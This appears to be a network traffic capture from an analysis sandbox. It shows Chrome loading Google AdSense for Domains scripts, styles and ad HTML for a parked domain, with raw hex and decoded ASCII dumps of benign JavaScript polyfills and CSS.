2024-05-23 22:52:14 UTC	1390	IN	Data Raw: 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 6e 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 44 61 28 74 68 69 73 2c 62 2c 22 65 6e 64 73 57 69 74 68 22 29 3b 62 2b 3d 22 22 3b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 64 2e 6c 65 6e 67 74 68 29 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 62 2e 6c 65 6e 67 74 68 3b 30 3c 65 26 26 30 3c 63 3b 29 69 66 28 64 5b 2d 2d 63 5d 21 3d 62 5b 2d 2d 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 30 3e 3d 65 7d 7d 29 3b 0a Data Ascii: ssion");return a+""}n("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=Da(this,b,"endsWith");b+="";void 0===c&&(c=d.length);c=Math.max(0,Math.min(c\|0,d.length));for(var e=b.length;0<e&&0<c;)if(d[--c]!=b[--e])return!1;return 0>=e}});
2024-05-23 22:52:14 UTC	1390	IN	Data Raw: 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 29 3b 6e 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: n(a){return a?a:function(b){var c=[],d;for(d in b)Object.prototype.hasOwnProperty.call(b,d)&&c.push(b[d]);return c}});n("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}});n("Array.prototype.includes",function(a)
2024-05-23 22:52:14 UTC	1390	IN	Data Raw: 22 3a 62 3a 22 6e 75 6c 6c 22 3b 72 65 74 75 72 6e 22 61 72 72 61 79 22 3d 3d 62 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 7d 66 75 6e 63 74 69 6f 6e 20 48 61 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 6e 75 6c 6c 21 3d 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 49 61 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 68 67 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 Data Ascii: ":b:"null";return"array"==b\|\|"object"==b&&"number"==typeof a.length}function Ha(a){var b=typeof a;return"object"==b&&null!=a\|\|"function"==b}function Ia(a,b){function c(){}c.prototype=b.prototype;a.hg=b.prototype;a.prototype=new c;a.prototype.constructor=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49797	142.250.186.110	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:16 UTC	1652	OUT	GET /afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717 HTTP/1.1 Host: www.adsensecustomsearchads.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:16 UTC	807	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Disposition: inline Date: Thu, 23 May 2024 22:52:16 GMT Expires: Thu, 23 May 2024 22:52:16 GMT Cache-Control: private, max-age=3600 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-4rm9AudFpYxsM58UxnuxyQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Server: gws X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-23 22:52:16 UTC	583	IN	Data Raw: 33 39 63 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 68 65 61 64 3e 20 3c 73 74 79 6c 65 20 69 64 3d 22 73 73 72 2d 62 6f 69 6c 65 72 70 6c 61 74 65 22 3e 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 72 67 69 6e 3a 30 3b 7d 2e 64 69 76 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 20 30 3b 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 20 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 7d 2e 73 70 61 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 20 2e 64 69 76 3a 6c 61 73 Data Ascii: 39c6<!doctype html><html lang="en"> <head> <style id="ssr-boilerplate">body{-webkit-text-size-adjust:100%; font-family:arial,sans-serif; margin:0;}.div{-webkit-box-flex:0 0; -webkit-flex-shrink:0; flex-shrink:0;max-width:100%;}.span:last-child, .div:las
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 69 5f 7b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 20 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 20 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7d 2e 76 5f 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 31 20 30 3b 20 2d 77 65 62 6b 69 74 Data Ascii: i_{display:-ms-flexbox; display:-webkit-box; display:-webkit-flex; display:flex;-ms-flex-align:start; -webkit-box-align:start; -webkit-align-items:flex-start; align-items:flex-start;box-sizing:border-box; overflow:hidden;}.v_{-webkit-box-flex:1 0; -webkit
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7d 2e 6f 5f 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 7d 2e 78 5f 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 7d 2e 79 5f 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 7a 2d 69 6e 64 65 78 3a 31 3b 7d 2e 6b 5f 3e 64 69 76 3a 6e 6f 74 28 2e 79 5f 29 20 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 20 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 20 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 62 6f 78 3b 20 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c Data Ascii: {overflow:hidden;}.o_{white-space:nowrap;}.x_{cursor:pointer;}.y_{display:none; position:absolute; z-index:1;}.k_>div:not(.y_) {display:-webkit-inline-box; display:-moz-inline-box; display:-ms-inline-flexbox; display:-webkit-inline-flex; display:inline-fl
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 74 61 72 74 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 7d 2e 66 6c 65 78 41 6c 69 67 6e 42 6f 74 74 6f 6d 7b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 3b 7d 2e 66 6c 65 78 41 6c 69 67 6e 43 65 6e 74 65 72 7b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b Data Ascii: tart; align-items:flex-start;}.flexAlignBottom{-ms-flex-align:end; -webkit-box-align:end; -webkit-align-items:flex-end; align-items:flex-end;}.flexAlignCenter{-ms-flex-align:center; -webkit-box-align:center; -webkit-align-items:center; align-items:center;
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 65 78 2d 73 68 72 69 6e 6b 3a 31 3b 7d 2e 73 69 31 30 32 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 35 70 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 31 70 78 3b 7d 2e 73 69 31 32 38 7b 68 65 69 67 68 74 3a 31 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 20 2d 6d 73 2d 66 6c 65 78 2d 6e 65 67 61 74 69 76 65 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 31 20 30 3b 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 31 3b 20 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 31 3b 7d 64 69 76 3e 64 69 76 2e 73 69 31 32 38 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 73 69 31 33 33 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 30 31 63 33 36 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 Data Ascii: ex-shrink:1;}.si102{border-radius:15px;height:30px;width:1px;}.si128{height:1px;width:100%; -ms-flex-negative:1;-webkit-box-flex:1 0; -webkit-flex-shrink:1; flex-shrink:1;}div>div.si128:last-child{display:none;}.si133{background-color:#101c36;border-radiu
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 20 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 22 20 64 61 74 61 2d 61 64 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 31 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 5f 20 64 69 76 20 72 73 73 41 74 74 72 43 6f 6e 74 61 69 6e 65 72 22 20 73 74 79 6c 65 3d 22 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 70 5f 20 73 69 31 33 33 20 73 70 61 6e 22 3e 52 65 6c 61 74 65 64 20 73 65 61 72 63 68 65 73 3c 2f 73 70 61 6e 3e 3c 2f 64 Data Ascii: ex-wrap:wrap; flex-wrap:wrap;" data-ad-container="1"><div class="i_ div rssAttrContainer" style="-ms-flex-direction:row; -webkit-box-orient:horizontal; -webkit-flex-direction:row; flex-direction:row;"><span class="p_ si133 span">Related searches</span></d
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 76 20 73 69 36 39 22 20 73 74 79 6c 65 3d 22 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 20 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 Data Ascii: v si69" style="-ms-flex-direction:row; -webkit-box-orient:horizontal; -webkit-flex-direction:row; flex-direction:row;-ms-flex-pack:center; -webkit-box-pack:center; -webkit-justify-content:center; justify-content:center;-ms-flex-align:center; -webkit-box-a
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 3a 72 6f 77 3b 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 31 32 2e 6e 67 65 6c 69 74 2e 63 6f 6d 2f 3f 74 73 3d 66 45 4e 73 5a 57 46 75 55 47 56 77 63 47 56 79 62 57 6c 75 64 45 4a 73 59 57 4e 72 66 48 77 31 59 32 55 34 4e 48 78 69 64 57 4e 72 5a 58 51 77 4d 54 46 38 66 48 78 38 66 48 77 32 4e 6a 52 6d 59 7a 67 35 59 7a 59 78 5a 57 5a 68 66 48 78 38 4d 54 63 78 4e 6a 55 77 4e 44 63 7a 4d 69 34 30 4e 44 4d 7a 66 47 59 31 4d 6a 63 7a 59 54 51 30 5a 6d 4a 6b 5a 54 52 6c 5a 44 56 69 5a 54 4e 6a 4d 6d 4e 69 4d 7a 63 7a 5a 47 56 6a 4e 32 45 32 4e 6d 45 77 4f 44 52 6c 59 57 5a 38 66 48 78 38 66 44 46 38 66 44 42 38 4d 48 78 38 66 48 77 78 66 48 78 38 66 48 77 77 66 44 42 38 66 48 78 38 Data Ascii: :row; flex-direction:row;"><a href="http://ww12.ngelit.com/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 22 3e 3c 64 69 76 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 20 63 6c 61 73 73 3d 22 64 69 76 20 71 5f 20 73 69 31 30 32 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 66 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 64 5f 69 63 6f 6e 73 2f 73 74 61 6e 64 61 72 64 2f 70 75 62 6c 69 73 68 65 72 5f 69 63 6f 6e 5f 69 6d 61 67 65 2f 73 65 61 72 63 68 2e 73 76 67 3f 63 3d 25 32 33 66 66 66 66 66 66 22 20 6c 6f 61 64 69 6e 67 3d 22 6c 61 7a 79 22 20 63 Data Ascii: -box-orient:horizontal; -webkit-flex-direction:row; flex-direction:row;"><div aria-hidden="true" tabindex="-1" class="div q_ si102"><img src="https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff" loading="lazy" c
2024-05-23 22:52:16 UTC	1390	IN	Data Raw: 48 41 74 64 47 56 68 62 57 6c 75 64 47 56 79 62 6d 56 30 4d 44 6c 66 4d 33 42 6f 66 44 42 38 4d 48 78 38 26 61 6d 70 3b 71 75 65 72 79 3d 42 61 6b 69 74 26 61 6d 70 3b 61 66 64 54 6f 6b 65 6e 3d 43 68 4d 49 68 70 53 37 75 4f 36 6b 68 67 4d 56 6e 6f 58 39 42 78 30 63 77 77 73 38 45 6e 51 42 6c 4c 71 70 6a 38 35 72 4d 42 73 31 43 56 61 6b 2d 4a 39 6d 61 55 77 70 38 54 48 6e 71 50 5f 38 34 39 32 2d 39 69 63 51 42 52 4c 56 41 41 77 38 36 79 78 53 78 65 4e 70 57 56 6d 56 61 76 70 53 76 63 31 56 6a 36 50 34 76 6f 48 4f 6a 4a 30 61 47 72 68 56 30 68 75 70 72 6f 55 76 47 4b 33 42 76 65 73 68 61 70 76 57 74 5f 4e 33 49 77 46 34 46 72 76 30 51 46 57 4b 4c 6a 2d 62 65 57 66 61 4c 6c 44 2d 46 69 44 63 77 73 35 4c 49 31 34 59 31 35 46 62 38 6a 39 48 38 41 26 61 6d 70 Data Ascii: HAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&query=Bakit&afdToken=ChMIhpS7uO6khgMVnoX9Bx0cwws8EnQBlLqpj85rMBs1CVak-J9maUwp8THnqP_8492-9icQBRLVAAw86yxSxeNpWVmVavpSvc1Vj6P4voHOjJ0aGrhV0huproUvGK3BveshapvWt_N3IwF4Frv0QFWKLj-beWfaLlD-FiDcws5LI14Y15Fb8j9H8A&amp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49799	142.250.186.110	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:17 UTC	573	OUT	GET /adsense/domains/caf.js?pac=0 HTTP/1.1 Host: www.adsensecustomsearchads.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.adsensecustomsearchads.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:17 UTC	853	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript; charset=UTF-8 Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/ads-afs-ui Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="ads-afs-ui" Report-To: {"group":"ads-afs-ui","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-afs-ui"}]} Content-Length: 190276 Date: Thu, 23 May 2024 22:52:17 GMT Expires: Thu, 23 May 2024 22:52:17 GMT Cache-Control: private, max-age=3600 ETag: "8001595085392064673" X-Content-Type-Options: nosniff Link: <https://www.adsensecustomsearchads.com>; rel="preconnect" Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:52:17 UTC	537	IN	Data Raw: 69 66 28 21 77 69 6e 64 6f 77 5b 27 67 6f 6f 67 6c 65 4e 44 54 5f 27 5d 29 7b 77 69 6e 64 6f 77 5b 27 67 6f 6f 67 6c 65 4e 44 54 5f 27 5d 3d 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 41 6c 74 4c 6f 61 64 65 72 3d 33 3b 76 61 72 20 73 66 66 65 44 61 74 61 5f 3d 7b 73 65 72 76 69 63 65 5f 68 6f 73 74 3a 22 77 77 77 2e 61 64 73 65 6e 73 65 63 75 73 74 6f 6d 73 65 61 72 63 68 61 64 73 2e 63 6f 6d 22 2c 68 61 73 68 3a 22 35 36 30 33 32 30 33 39 30 34 32 34 35 30 30 37 30 34 32 22 2c 70 61 63 6b 61 67 65 73 3a 22 64 6f 6d 61 69 6e 73 22 2c 6d 6f 64 75 6c 65 3a 22 61 64 73 22 2c 76 65 72 73 69 6f 6e 3a 22 31 22 2c 6d 3a 7b 63 65 69 3a 22 31 37 33 30 30 30 Data Ascii: if(!window['googleNDT_']){window['googleNDT_']=(new Date()).getTime();}(function() {window.googleAltLoader=3;var sffeData_={service_host:"www.adsensecustomsearchads.com",hash:"5603203904245007042",packages:"domains",module:"ads",version:"1",m:{cei:"173000
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 69 64 65 64 44 6f 6d 61 69 6e 22 3a 74 72 75 65 2c 22 5f 77 61 69 74 4f 6e 43 6f 6e 73 65 6e 74 46 6f 72 46 69 72 73 74 50 61 72 74 79 43 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 45 6e 68 61 6e 63 65 64 54 61 72 67 65 74 69 6e 67 52 73 6f 6e 63 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 4e 6f 6e 62 6c 6f 63 6b 69 6e 67 53 61 73 43 6f 6f 6b 69 65 22 3a 74 72 75 65 7d 2c 6d 64 70 3a 31 38 30 30 30 30 30 2c 73 73 64 6c 3a 22 59 58 42 77 63 33 42 76 64 43 35 6a 62 32 30 73 59 6d 78 76 5a 33 4e 77 62 33 51 75 59 32 39 74 4c 47 4a 79 4c 6d 4e 76 62 53 78 6a 62 79 35 6a 62 32 30 73 59 32 78 76 64 57 52 6d 63 6d 39 75 64 43 35 75 5a 58 51 73 5a 58 55 75 59 32 39 74 4c 47 68 76 63 48 52 76 4c 6d 39 79 5a 79 78 70 62 69 35 75 5a 58 51 73 64 48 4a 68 Data Ascii: idedDomain":true,"_waitOnConsentForFirstPartyCookie":true,"enableEnhancedTargetingRsonc":true,"enableNonblockingSasCookie":true},mdp:1800000,ssdl:"YXBwc3BvdC5jb20sYmxvZ3Nwb3QuY29tLGJyLmNvbSxjby5jb20sY2xvdWRmcm9udC5uZXQsZXUuY29tLGhvcHRvLm9yZyxpbi5uZXQsdHJh
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 65 3d 30 3b 72 65 74 75 72 6e 20 62 7d 29 3b 0a 6e 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 72 65 74 75 72 6e 20 61 3b 61 3d 53 79 6d 62 6f 6c 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 Data Ascii: *Math.random()>>>0)+"_",e=0;return b});n("Symbol.iterator",function(a){if(a)return a;a=Symbol("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c
